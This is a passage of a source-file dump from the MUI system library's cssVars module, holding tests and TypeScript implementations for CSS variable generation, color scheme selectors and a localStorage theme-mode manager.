<Consumer />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('current-mode')).to.have.text('dark');\n    });\n  });\n\n  /**\n   * This can occur if two application use default storage key\n   * App I: supported color scheme ['light', 'dark', 'purple']\n   * App II: supported color scheme ['light', 'dark', 'orange']\n   *\n   * If you are one App I with color scheme 'purple', when open App II it should fallback\n   * to default color scheme of App II because App II does not support 'purple'\n   */\n  describe('Unsupported color scheme', () => {\n    const { CssVarsProvider } = createCssVarsProvider({\n      theme: createCssVarsTheme({\n        colorSchemes: {\n          light: {\n            color: 'light',\n          },\n          dark: {\n            color: 'dark',\n          },\n        },\n      }),\n      defaultColorScheme: 'light',\n    });\n    function Color() {\n      const theme = useTheme();\n      return <div data-testid=\"color\">{theme.vars.color}</div>;\n    }\n\n    it('use default color scheme if the storage value does not exist', () => {\n      storage[DEFAULT_MODE_STORAGE_KEY] = 'unknown';\n\n      render(\n        <CssVarsProvider>\n          <Color />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('color').textContent).to.equal('var(--color)');\n    });\n  });\n\n  describe('[Application] Customization', () => {\n    it('custom theme replace the default theme', () => {\n      const { CssVarsProvider } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          fontSize: { md: '1rem', sm: null },\n          colorSchemes: {\n            light: {},\n          },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Text({ scale = 'md' }) {\n        const theme = useTheme();\n        return <div data-testid={`text-${scale}`}>{theme.vars.fontSize[scale]}</div>;\n      }\n      render(\n        <CssVarsProvider theme={createCssVarsTheme({ fontSize: { sm: '0.75rem' } })}>\n          <Text scale=\"md\" />\n          <Text scale=\"sm\" />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('text-md').textContent).to.equal('');\n      expect(screen.getByTestId('text-sm').textContent).to.equal('var(--fontSize-sm)');\n    });\n\n    it('extend palette property in colorSchemes', () => {\n      const { CssVarsProvider } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: {\n            light: {\n              palette: {\n                color: '#000000',\n              },\n            },\n          },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Swatch() {\n        const theme = useTheme();\n        return (\n          <div>\n            <div data-testid=\"swatch-color\">{theme.vars.palette.color}</div>\n            <div data-testid=\"swatch-bgcolor\">{theme.vars.palette.bgcolor}</div>\n          </div>\n        );\n      }\n      render(\n        <CssVarsProvider\n          theme={createCssVarsTheme({\n            colorSchemes: { light: { palette: { color: '#000000', bgcolor: '#ffffff' } } },\n          })}\n        >\n          <Swatch />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('swatch-color').textContent).to.equal('var(--palette-color)');\n      expect(screen.getByTestId('swatch-bgcolor').textContent).to.equal('var(--palette-bgcolor)');\n    });\n\n    /**\n     * `colorSchemes` are useful for creating toggle UI.\n     * In some cases, developers might want to use the color defined in colorSchemes.\n     */\n    it('All `colorSchemes` is available in theme', () => {\n      const { CssVarsProvider } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: {\n            light: {},\n            dark: {},\n          },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Consumer() {\n        const theme = useTheme();\n        return <div>{Object.keys(theme.colorSchemes).join(', ')}</div>;\n      }\n      const { container } = render(\n        <CssVarsProvider\n          theme={createCssVarsTheme({ colorSchemes: { light: {}, dark: {}, dim: {} } })}\n        >\n          <Consumer />\n        </CssVarsProvider>,\n      );\n\n      expect(container.firstChild.textContent).to.equal('light, dark, dim');\n    });\n\n    it('able to override css variable prefix', () => {\n      const { CssVarsProvider } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: { light: { fontSize: 16 } },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Text() {\n        const theme = useTheme();\n        return <div data-testid={`text`}>{theme.vars.fontSize}</div>;\n      }\n      render(\n        <CssVarsProvider\n          theme={createCssVarsTheme({\n            cssVarPrefix: 'foo-bar',\n            colorSchemes: { light: { fontSize: 16 } },\n          })}\n        >\n          <Text />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('text').textContent).to.equal('var(--foo-bar-fontSize)');\n    });\n\n    it('does not take `theme.components` into account', () => {\n      const { CssVarsProvider } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: { light: { fontSize: 16 } },\n          components: {\n            foo: 'bar',\n          },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Text() {\n        const theme = useTheme();\n\n        return <div data-testid={`text`}>{theme.vars.components?.foo}</div>;\n      }\n      render(\n        <CssVarsProvider>\n          <Text />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('text').textContent).not.to.equal('var(--components-foo)');\n    });\n\n    it('`mode` is `system` by default if `colorSchemes` contains all the default', () => {\n      const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: { light: {}, dark: {} },\n        }),\n        defaultColorScheme: { light: 'light', dark: 'dark' },\n      });\n      function Text() {\n        const { mode } = useColorScheme();\n        return <div>{mode}</div>;\n      }\n      const { container } = render(\n        <CssVarsProvider>\n          <Text />\n        </CssVarsProvider>,\n      );\n      expect(container.firstChild.textContent).to.equal('system');\n    });\n\n    it('should use colorSchemes.palette.mode if `colorSchemes` does not contain all the default', () => {\n      const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          defaultColorScheme: 'contrast',\n          colorSchemes: {\n            contrast: { palette: { mode: 'dark' } },\n          },\n        }),\n        defaultColorScheme: { light: 'paper', dark: 'contrast' },\n      });\n      function Text() {\n        const { mode } = useColorScheme();\n        return <div>{mode}</div>;\n      }\n      const { container } = render(\n        <CssVarsProvider>\n          <Text />\n        </CssVarsProvider>,\n      );\n      expect(container.firstChild.textContent).to.equal('dark');\n    });\n  });\n\n  describe('Nested providers', () => {\n    it('independent context', () => {\n      const { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n        theme: createCssVarsTheme({\n          colorSchemes: {\n            light: {\n              color: 'light',\n            },\n            dark: {\n              color: 'dark',\n            },\n          },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Toggle(props) {\n        const { mode, setMode } = useColorScheme();\n        return (\n          <button onClick={() => setMode('dark')} {...props}>\n            {mode}\n          </button>\n        );\n      }\n\n      render(\n        <CssVarsProvider>\n          <Toggle data-testid=\"outer\" />\n          <CssVarsProvider disableNestedContext>\n            <Toggle data-testid=\"inner\" />\n          </CssVarsProvider>\n        </CssVarsProvider>,\n      );\n\n      fireEvent.click(screen.getByTestId('inner'));\n\n      // state changes in nested provider should not affect the upper context\n      // if `disableNestedContext` is true.\n      expect(screen.getByTestId('outer')).to.have.text('system');\n\n      expect(screen.getByTestId('inner')).to.have.text('dark');\n    });\n\n    it('themeId should not exist in the theme if not provided as a prop', () => {\n      const { CssVarsProvider } = createCssVarsProvider({\n        themeId: '$$foo',\n        theme: createCssVarsTheme({\n          colorSchemes: {\n            light: {\n              color: 'light',\n            },\n            dark: {\n              color: 'dark',\n            },\n          },\n        }),\n        defaultColorScheme: 'light',\n      });\n      function Text() {\n        const theme = useTheme();\n        return theme.$$foo ? 'failed' : 'passed';\n      }\n      const { container } = render(\n        <ThemeProvider theme={{ renderText: () => 'foo-bar' }}>\n          <CssVarsProvider>\n            <Text />\n          </CssVarsProvider>\n        </ThemeProvider>,\n      );\n      expect(container.textContent).to.equal('passed');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/createCssVarsTheme.ts",
    "content": "import prepareCssVars, { DefaultCssVarsTheme } from './prepareCssVars';\nimport { createGetColorSchemeSelector } from './getColorSchemeSelector';\nimport { DEFAULT_ATTRIBUTE } from '../InitColorSchemeScript/InitColorSchemeScript';\n\ninterface Theme extends DefaultCssVarsTheme {\n  cssVarPrefix?: string | undefined;\n  colorSchemeSelector?: 'media' | string | undefined;\n  shouldSkipGeneratingVar?:\n    | ((objectPathKeys: Array<string>, value: string | number) => boolean)\n    | undefined;\n}\n\nfunction createCssVarsTheme<T extends Theme, ThemeVars extends Record<string, any>>({\n  colorSchemeSelector = `[${DEFAULT_ATTRIBUTE}=\"%s\"]`,\n  ...theme\n}: T) {\n  const output: any = theme;\n  const result = prepareCssVars<Omit<T, 'shouldSkipGeneratingVar' | 'cssVarPrefix'>, ThemeVars>(\n    output,\n    {\n      ...theme,\n      prefix: theme.cssVarPrefix,\n      colorSchemeSelector,\n    },\n  );\n  output.vars = result.vars;\n  output.generateThemeVars = result.generateThemeVars;\n  output.generateStyleSheets = result.generateStyleSheets;\n  output.colorSchemeSelector = colorSchemeSelector;\n  output.getColorSchemeSelector = createGetColorSchemeSelector(colorSchemeSelector);\n  output.internal_cache = {};\n\n  return output as T & typeof result;\n}\n\nexport default createCssVarsTheme;\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/createGetCssVar.test.ts",
    "content": "import { expect } from 'chai';\nimport createGetCssVar from './createGetCssVar';\n\ndescribe('createGetCssVar', () => {\n  describe('default without prefix', () => {\n    const getThemeVar = createGetCssVar();\n\n    it('should return correct CSS var with default prefix', () => {\n      expect(getThemeVar('palette-primary-500')).to.equal('var(--palette-primary-500)');\n    });\n\n    it('should return correct CSS var with prefix', () => {\n      expect(getThemeVar('palette-primary-500')).to.equal('var(--palette-primary-500)');\n    });\n\n    it('should return correct CSS var with comma', () => {\n      expect(getThemeVar('fontFamily-body, JetBrains Mono')).to.equal(\n        'var(--fontFamily-body, JetBrains Mono)',\n      );\n      expect(getThemeVar('fontSize-xl, ')).to.equal('var(--fontSize-xl, )'); // this is a valid CSS.\n    });\n\n    it('support default value', () => {\n      expect(getThemeVar('palette-primary-500', 'palette-background-body')).to.equal(\n        'var(--palette-primary-500, var(--palette-background-body))',\n      );\n    });\n\n    it('support nested values', () => {\n      expect(\n        getThemeVar('palette-primary-500', 'palette-primary-600', 'palette-text-primary'),\n      ).to.equal(\n        'var(--palette-primary-500, var(--palette-primary-600, var(--palette-text-primary)))',\n      );\n    });\n  });\n\n  it('able to custom prefix', () => {\n    const getThemeVar = createGetCssVar('custom');\n    expect(getThemeVar('shadow-xs')).to.equal('var(--custom-shadow-xs)');\n  });\n\n  it('does not add var() to CSS value', () => {\n    const getCssVar = createGetCssVar();\n    expect(getCssVar('palette-primary-500', 'rgba(255 255 255 / 0.1)')).to.equal(\n      'var(--palette-primary-500, rgba(255 255 255 / 0.1))',\n    );\n    expect(getCssVar('fontSize-sm', '1rem')).to.equal('var(--fontSize-sm, 1rem)');\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/createGetCssVar.ts",
    "content": "/**\n * The benefit of this function is to help developers get CSS var from theme without specifying the whole variable\n * and they does not need to remember the prefix (defined once).\n */\nexport default function createGetCssVar<T extends string = string>(prefix: string = '') {\n  function appendVar(...vars: string[]): string {\n    if (!vars.length) {\n      return '';\n    }\n    const value = vars[0];\n    if (\n      typeof value === 'string' &&\n      !value.match(\n        /(#|\\(|\\)|(-?(\\d*\\.)?\\d+)(px|em|%|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc))|^(-?(\\d*\\.)?\\d+)$|(\\d+ \\d+ \\d+)/,\n      )\n    ) {\n      return `, var(--${prefix ? `${prefix}-` : ''}${value}${appendVar(...vars.slice(1))})`;\n    }\n    return `, ${value}`;\n  }\n\n  // AdditionalVars makes `getCssVar` less strict, so it can be use like this `getCssVar('non-mui-variable')` without type error.\n  const getCssVar = <AdditionalVars extends string = never>(\n    field: T | AdditionalVars,\n    ...fallbacks: (T | AdditionalVars)[]\n  ) => {\n    return `var(--${prefix ? `${prefix}-` : ''}${field}${appendVar(...fallbacks)})`;\n  };\n  return getCssVar;\n}\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/cssVarsParser.test.ts",
    "content": "import { expect } from 'chai';\nimport cssVarsParser, { assignNestedKeys, walkObjectDeep } from './cssVarsParser';\n\ndescribe('cssVarsParser', () => {\n  describe('assignNestedKeys', () => {\n    it('does not account for null, undefined, non-object', () => {\n      let result;\n      assignNestedKeys(result, ['a', 'b', 'c'], 'd');\n      expect(result).to.deep.equal(undefined);\n\n      result = null;\n      assignNestedKeys(result, ['a', 'b', 'c'], 'd');\n      expect(result).to.deep.equal(null);\n\n      result = '';\n      assignNestedKeys(result, ['a', 'b', 'c'], 'd');\n      expect(result).to.deep.equal('');\n    });\n\n    it('build object with keys and value', () => {\n      const result = {};\n      assignNestedKeys(result, ['a', 'b', 'c'], 'd');\n      expect(result).to.deep.equal({\n        a: {\n          b: {\n            c: 'd',\n          },\n        },\n      });\n    });\n\n    it('does not override existing fields', () => {\n      const result = {\n        a: {\n          b: {\n            existed: true,\n          },\n        },\n      };\n      assignNestedKeys(result, ['a', 'b', 'c'], 'd');\n      expect(result).to.deep.equal({\n        a: {\n          b: {\n            existed: true,\n            c: 'd',\n          },\n        },\n      });\n    });\n\n    it('create array given by `arrayKeys`', () => {\n      const result = {};\n      assignNestedKeys(result, ['keys', '0'], 'xs', ['keys']);\n      assignNestedKeys(result, ['keys', '2'], 'md', ['keys']);\n      assignNestedKeys(result, ['keys', '1'], 'sm', ['keys']);\n      expect(result).to.deep.equal({\n        keys: ['xs', 'sm', 'md'],\n      });\n    });\n  });\n\n  describe('walkObjectDeep', () => {\n    it('run callback at each key', () => {\n      const result: Record<string, boolean> = {};\n      walkObjectDeep<boolean>(\n        {\n          lv1: {\n            lv2: {\n              lv3: {\n                yes: true,\n                no: false,\n              },\n            },\n          },\n        },\n        (keys, value) => {\n          result[keys.join('-')] = value;\n        },\n      );\n      expect(result).to.deep.equal({\n        'lv1-lv2-lv3-yes': true,\n        'lv1-lv2-lv3-no': false,\n      });\n    });\n\n    it('does not throw if the value is null', () => {\n      const result: Record<string, boolean> = {};\n      walkObjectDeep<boolean>(\n        {\n          lv1: null,\n        },\n        (keys, value) => {\n          result[keys.join('-')] = value;\n        },\n      );\n      expect(result).to.deep.equal({});\n    });\n\n    it('skip the paths if `shouldSkipPaths` return true', () => {\n      const result: Record<string, string> = {};\n      walkObjectDeep<string>(\n        {\n          lv1: {\n            lv2: 'test',\n          },\n          vars: {\n            lv2: 'skip',\n          },\n        },\n        (keys, value) => {\n          result[keys.join('-')] = value;\n        },\n        (keys) => keys[0] === 'vars',\n      );\n      expect(result).to.deep.equal({\n        'lv1-lv2': 'test',\n      });\n    });\n  });\n\n  describe('css', () => {\n    it('create css variables', () => {\n      const { css } = cssVarsParser({\n        palette: {\n          primary: {\n            100: '#ffffff',\n            500: '#ff5252',\n          },\n        },\n      });\n      expect(css).to.deep.equal({\n        '--palette-primary-100': '#ffffff',\n        '--palette-primary-500': '#ff5252',\n      });\n    });\n\n    it('add prefix to variables', () => {\n      const { css } = cssVarsParser(\n        {\n          palette: {\n            primary: {\n              100: '#ffffff',\n              500: '#ff5252',\n            },\n          },\n        },\n        { prefix: 'mui' },\n      );\n      expect(css).to.deep.equal({\n        '--mui-palette-primary-100': '#ffffff',\n        '--mui-palette-primary-500': '#ff5252',\n      });\n    });\n\n    it('use prefix if provided', () => {\n      const theme = {\n        bg: 'var(--palette-neutral-50)',\n        text: {\n          heading: 'var(--palette-primary-500, var(--palette-neutral-500))',\n        },\n      };\n      const { css } = cssVarsParser(theme, {\n        prefix: 'foo-bar',\n      });\n      expect(css).to.deep.equal({\n        '--foo-bar-bg': 'var(--palette-neutral-50)',\n        '--foo-bar-text-heading': 'var(--palette-primary-500, var(--palette-neutral-500))',\n      });\n    });\n\n    it('attach px to number value', () => {\n      const { css } = cssVarsParser({\n        fontSize: {\n          xs: 10,\n          sm: 12,\n          md: 16,\n        },\n      });\n      expect(css).to.deep.equal({\n        '--fontSize-xs': '10px',\n        '--fontSize-sm': '12px',\n        '--fontSize-md': '16px',\n      });\n    });\n\n    it('does not attach px to color channel values', () => {\n      const { css } = cssVarsParser({\n        primary: {\n          mainChannel: '144 202 249',\n          darkChannel: '66 165 245',\n          lightChannel: '0 100% 50%',\n        },\n      });\n      expect(css).to.deep.equal({\n        '--primary-mainChannel': '144 202 249',\n        '--primary-darkChannel': '66 165 245',\n        '--primary-lightChannel': '0 100% 50%',\n      });\n    });\n\n    it('does not attach px to opacity values', () => {\n      const { css } = cssVarsParser({\n        primary: {\n          hoverOpacity: 0.02,\n          disabledOpacity: 0.5,\n          opacity: 1,\n        },\n      });\n      expect(css).to.deep.equal({\n        '--primary-hoverOpacity': 0.02,\n        '--primary-disabledOpacity': 0.5,\n        '--primary-opacity': 1,\n      });\n    });\n\n    it('does not add px to unitless properties', () => {\n      const { css } = cssVarsParser({\n        lineHeight: {\n          xs: 1,\n          sm: 1.2,\n          md: 1.43,\n        },\n        fontWeight: {\n          semiBold: 600,\n          bold: 700,\n        },\n        opacity: {\n          active: 0.5,\n          hover: 0.2,\n        },\n        zIndex: {\n          tooltip: 1200,\n        },\n      });\n      expect(css).to.deep.equal({\n        '--lineHeight-xs': 1,\n        '--lineHeight-sm': 1.2,\n        '--lineHeight-md': 1.43,\n        '--fontWeight-semiBold': 600,\n        '--fontWeight-bold': 700,\n        '--opacity-active': 0.5,\n        '--opacity-hover': 0.2,\n        '--zIndex-tooltip': 1200,\n      });\n    });\n\n    it('css is not created if shouldSkipGeneratingVar return true', () => {\n      const { css } = cssVarsParser(\n        {\n          palette: {\n            primary: {\n              100: '#ffffff',\n              500: '#ff5252',\n            },\n          },\n        },\n        {\n          shouldSkipGeneratingVar: (keys) => keys.slice(-1)[0] === '500',\n        },\n      );\n      expect(css).to.deep.equal({\n        '--palette-primary-100': '#ffffff',\n      });\n    });\n\n    it('css can be produced from array', () => {\n      const { css } = cssVarsParser({\n        shadows: ['sm', 'md', 'lg'],\n      });\n      expect(css).to.deep.equal({\n        '--shadows-0': 'sm',\n        '--shadows-1': 'md',\n        '--shadows-2': 'lg',\n      });\n    });\n  });\n\n  describe('vars', () => {\n    it('create same structure and attach variables', () => {\n      const { vars } = cssVarsParser({\n        palette: {\n          primary: {\n            100: '#ffffff',\n            500: '#ff5252',\n          },\n        },\n        lineHeight: {\n          xs: 1,\n          sm: 1.2,\n          md: 1.43,\n        },\n      });\n      expect(vars).to.deep.equal({\n        palette: {\n          primary: {\n            100: 'var(--palette-primary-100)',\n            500: 'var(--palette-primary-500)',\n          },\n        },\n        lineHeight: {\n          xs: 'var(--lineHeight-xs)',\n          sm: 'var(--lineHeight-sm)',\n          md: 'var(--lineHeight-md)',\n        },\n      });\n    });\n\n    it('apply prefix to variables', () => {\n      const { vars } = cssVarsParser(\n        {\n          palette: {\n            primary: {\n              100: '#ffffff',\n              500: '#ff5252',\n            },\n          },\n        },\n        { prefix: 'mui' },\n      );\n      expect(vars).to.deep.equal({\n        palette: {\n          primary: {\n            100: 'var(--mui-palette-primary-100)',\n            500: 'var(--mui-palette-primary-500)',\n          },\n        },\n      });\n    });\n\n    it('var is not created if shouldSkipGeneratingVar return true', () => {\n      const { vars } = cssVarsParser(\n        {\n          palette: {\n            primary: {\n              100: '#ffffff',\n              500: '#ff5252',\n            },\n          },\n        },\n        {\n          shouldSkipGeneratingVar: (keys) => keys.slice(-1)[0] === '500',\n        },\n      );\n      expect(vars).to.deep.equal({\n        palette: {\n          primary: {\n            100: 'var(--palette-primary-100)',\n          },\n        },\n      });\n    });\n\n    it('vars can be produced from array', () => {\n      const { vars } = cssVarsParser({\n        shadows: ['sm', 'md', 'lg'],\n      });\n      expect(vars).to.deep.equal({\n        shadows: ['var(--shadows-0)', 'var(--shadows-1)', 'var(--shadows-2)'],\n      });\n    });\n\n    it('varsWithDefaults are suffixed with px from array', () => {\n      const { varsWithDefaults } = cssVarsParser({\n        spacing: [0, 1, 2, 6, 16],\n      });\n      expect(varsWithDefaults).to.deep.equal({\n        spacing: [\n          'var(--spacing-0, 0px)',\n          'var(--spacing-1, 1px)',\n          'var(--spacing-2, 2px)',\n          'var(--spacing-3, 6px)',\n          'var(--spacing-4, 16px)',\n        ],\n      });\n    });\n\n    it('should add a fallback value', () => {\n      const { varsWithDefaults } = cssVarsParser({\n        palette: {\n          primary: {\n            main: '#000',\n            alias: 'var(--palette-primary-main)',\n            alias2: 'var(--palette-primary-alias)',\n          },\n        },\n      });\n      expect(varsWithDefaults).to.deep.equal({\n        palette: {\n          primary: {\n            main: 'var(--palette-primary-main, #000)',\n            alias: 'var(--palette-primary-alias, var(--palette-primary-main))',\n            alias2: 'var(--palette-primary-alias2, var(--palette-primary-alias))',\n          },\n        },\n      });\n    });\n  });\n\n  it('does nothing if deep value is not string or number', () => {\n    const { css, vars } = cssVarsParser({\n      fooBar: () => '',\n      foo: undefined,\n      bar: null,\n    });\n    expect(css).to.deep.equal({});\n    expect(vars).to.deep.equal({});\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/cssVarsParser.ts",
    "content": "type NestedRecord<V = any> = {\n  [k: string | number]: NestedRecord<V> | V;\n};\n\n/**\n * This function create an object from keys, value and then assign to target\n *\n * @param {Object} obj : the target object to be assigned\n * @param {string[]} keys\n * @param {string | number} value\n *\n * @example\n * const source = {}\n * assignNestedKeys(source, ['palette', 'primary'], 'var(--palette-primary)')\n * console.log(source) // { palette: { primary: 'var(--palette-primary)' } }\n *\n * @example\n * const source = { palette: { primary: 'var(--palette-primary)' } }\n * assignNestedKeys(source, ['palette', 'secondary'], 'var(--palette-secondary)')\n * console.log(source) // { palette: { primary: 'var(--palette-primary)', secondary: 'var(--palette-secondary)' } }\n */\nexport const assignNestedKeys = <\n  T extends Record<string, any> | null | undefined | string = NestedRecord,\n  Value = any,\n>(\n  obj: T,\n  keys: Array<string>,\n  value: Value,\n  arrayKeys: Array<string> = [],\n) => {\n  let temp: T = obj;\n  keys.forEach((k, index) => {\n    if (index === keys.length - 1) {\n      if (Array.isArray(temp)) {\n        temp[Number(k)] = value;\n      } else if (temp && typeof temp === 'object') {\n        temp[k] = value;\n      }\n    } else if (temp && typeof temp === 'object') {\n      if (!temp[k]) {\n        temp[k] = arrayKeys.includes(k) ? [] : {};\n      }\n      temp = temp[k];\n    }\n  });\n};\n\n/**\n *\n * @param {Object} obj : source object\n * @param {Function} callback : a function that will be called when\n *                   - the deepest key in source object is reached\n *                   - the value of the deepest key is NOT `undefined` | `null`\n *\n * @example\n * walkObjectDeep({ palette: { primary: { main: '#000000' } } }, console.log)\n * // ['palette', 'primary', 'main'] '#000000'\n */\nexport const walkObjectDeep = <Value, T = Record<string, any>>(\n  obj: T,\n  callback: (keys: Array<string>, value: Value, arrayKeys: Array<string>) => void,\n  shouldSkipPaths?: (keys: Array<string>) => boolean,\n) => {\n  function recurse(object: any, parentKeys: Array<string> = [], arrayKeys: Array<string> = []) {\n    Object.entries(object).forEach(([key, value]: [string, any]) => {\n      if (!shouldSkipPaths || (shouldSkipPaths && !shouldSkipPaths([...parentKeys, key]))) {\n        if (value !== undefined && value !== null) {\n          if (typeof value === 'object' && Object.keys(value).length > 0) {\n            recurse(\n              value,\n              [...parentKeys, key],\n              Array.isArray(value) ? [...arrayKeys, key] : arrayKeys,\n            );\n          } else {\n            callback([...parentKeys, key], value, arrayKeys);\n          }\n        }\n      }\n    });\n  }\n  recurse(obj);\n};\n\nconst getCssValue = (keys: string[], value: string | number) => {\n  if (typeof value === 'number') {\n    if (['lineHeight', 'fontWeight', 'opacity', 'zIndex'].some((prop) => keys.includes(prop))) {\n      // CSS property that are unitless\n      return value;\n    }\n    const lastKey = keys[keys.length - 1];\n    if (lastKey.toLowerCase().includes('opacity')) {\n      // opacity values are unitless\n      return value;\n    }\n    return `${value}px`;\n  }\n  return value;\n};\n\n/**\n * a function that parse theme and return { css, vars }\n *\n * @param {Object} theme\n * @param {{\n *  prefix?: string,\n *  shouldSkipGeneratingVar?: (objectPathKeys: Array<string>, value: string | number) => boolean\n * }} options.\n *  `prefix`: The prefix of the generated CSS variables. This function does not change the value.\n *\n * @returns {{ css: Object, vars: Object }} `css` is the stylesheet, `vars` is an object to get css variable (same structure as theme).\n *\n * @example\n * const { css, vars } = parser({\n *   fontSize: 12,\n *   lineHeight: 1.2,\n *   palette: { primary: { 500: 'var(--color)' } }\n * }, { prefix: 'foo' })\n *\n * console.log(css) // { '--foo-fontSize': '12px', '--foo-lineHeight': 1.2, '--foo-palette-primary-500': 'var(--color)' }\n * console.log(vars) // { fontSize: 'var(--foo-fontSize)', lineHeight: 'var(--foo-lineHeight)', palette: { primary: { 500: 'var(--foo-palette-primary-500)' } } }\n */\nexport default function cssVarsParser<T extends Record<string, any>>(\n  theme: Record<string, any>,\n  options?: {\n    prefix?: string | undefined;\n    shouldSkipGeneratingVar?:\n      | ((objectPathKeys: Array<string>, value: string | number) => boolean)\n      | undefined;\n  },\n) {\n  const { prefix, shouldSkipGeneratingVar } = options || {};\n  const css = {} as Record<string, string | number>;\n  const vars = {} as T;\n  const varsWithDefaults = {};\n\n  walkObjectDeep(\n    theme,\n    (keys, value: string | number | object, arrayKeys) => {\n      if (typeof value === 'string' || typeof value === 'number') {\n        if (!shouldSkipGeneratingVar || !shouldSkipGeneratingVar(keys, value)) {\n          // only create css & var if `shouldSkipGeneratingVar` return false\n          const cssVar = `--${prefix ? `${prefix}-` : ''}${keys.join('-')}`;\n          const resolvedValue = getCssValue(keys, value);\n          Object.assign(css, { [cssVar]: resolvedValue });\n\n          assignNestedKeys(vars, keys, `var(${cssVar})`, arrayKeys);\n          assignNestedKeys(varsWithDefaults, keys, `var(${cssVar}, ${resolvedValue})`, arrayKeys);\n        }\n      }\n    },\n    (keys) => keys[0] === 'vars', // skip 'vars/*' paths\n  );\n\n  return { css, vars, varsWithDefaults };\n}\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/getColorSchemeSelector.ts",
    "content": "/* eslint-disable import/prefer-default-export */\nexport function createGetColorSchemeSelector<T extends string>(\n  selector: 'media' | 'class' | 'data' | string,\n) {\n  return function getColorSchemeSelector(colorScheme: T) {\n    if (selector === 'media') {\n      if (process.env.NODE_ENV !== 'production') {\n        if (colorScheme !== 'light' && colorScheme !== 'dark') {\n          console.error(\n            `MUI: @media (prefers-color-scheme) supports only 'light' or 'dark', but receive '${colorScheme}'.`,\n          );\n        }\n      }\n      return `@media (prefers-color-scheme: ${colorScheme})`;\n    }\n    if (selector) {\n      if (selector.startsWith('data-') && !selector.includes('%s')) {\n        return `[${selector}=\"${colorScheme}\"] &`;\n      }\n      if (selector === 'class') {\n        return `.${colorScheme} &`;\n      }\n      if (selector === 'data') {\n        return `[data-${colorScheme}] &`;\n      }\n      return `${selector.replace('%s', colorScheme)} &`;\n    }\n    return '&';\n  };\n}\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/index.ts",
    "content": "export { default } from './createCssVarsProvider';\nexport type {\n  CreateCssVarsProviderResult,\n  CssVarsProviderConfig,\n  ColorSchemeContextValue,\n} from './createCssVarsProvider';\n\nexport { default as prepareCssVars } from './prepareCssVars';\nexport { default as prepareTypographyVars } from './prepareTypographyVars';\nexport type { ExtractTypographyTokens } from './prepareTypographyVars';\nexport { default as createCssVarsTheme } from './createCssVarsTheme';\nexport { createGetColorSchemeSelector } from './getColorSchemeSelector';\nexport type { StorageManager } from './localStorageManager';\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/localStorageManager.ts",
    "content": "export interface StorageManager {\n  (options: { key: string; storageWindow?: Window | null | undefined }): {\n    /**\n     * Function to get the value from the storage\n     * @param defaultValue The default value to be returned if the key is not found\n     * @returns The value from the storage or the default value\n     */\n    get(defaultValue: any): any;\n    /**\n     * Function to set the value in the storage\n     * @param value The value to be set\n     * @returns void\n     */\n    set(value: any): void;\n    /**\n     * Function to subscribe to the value of the specified key triggered by external events\n     * @param handler The function to be called when the value changes\n     * @returns A function to unsubscribe the handler\n     * @example\n     * React.useEffect(() => {\n     *  const unsubscribe = storageManager.subscribe((value) => {\n     *    console.log(value);\n     *  });\n     *  return unsubscribe;\n     * }, []);\n     */\n    subscribe(handler: (value: any) => void): () => void;\n  };\n}\n\nfunction noop() {}\n\nconst localStorageManager: StorageManager = ({ key, storageWindow }) => {\n  if (!storageWindow && typeof window !== 'undefined') {\n    storageWindow = window;\n  }\n  return {\n    get(defaultValue) {\n      if (typeof window === 'undefined') {\n        return undefined;\n      }\n      if (!storageWindow) {\n        return defaultValue;\n      }\n      let value;\n      try {\n        value = storageWindow.localStorage.getItem(key);\n      } catch {\n        // Unsupported\n      }\n      return value || defaultValue;\n    },\n    set: (value) => {\n      if (storageWindow) {\n        try {\n          storageWindow.localStorage.setItem(key, value);\n        } catch {\n          // Unsupported\n        }\n      }\n    },\n    subscribe: (handler) => {\n      if (!storageWindow) {\n        return noop;\n      }\n      const listener = (event: StorageEvent) => {\n        const value = event.newValue;\n        if (event.key === key) {\n          handler(value);\n        }\n      };\n      storageWindow.addEventListener('storage', listener);\n      return () => {\n        storageWindow.removeEventListener('storage', listener);\n      };\n    },\n  };\n};\n\nexport default localStorageManager;\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/prepareCssVars.test.ts",
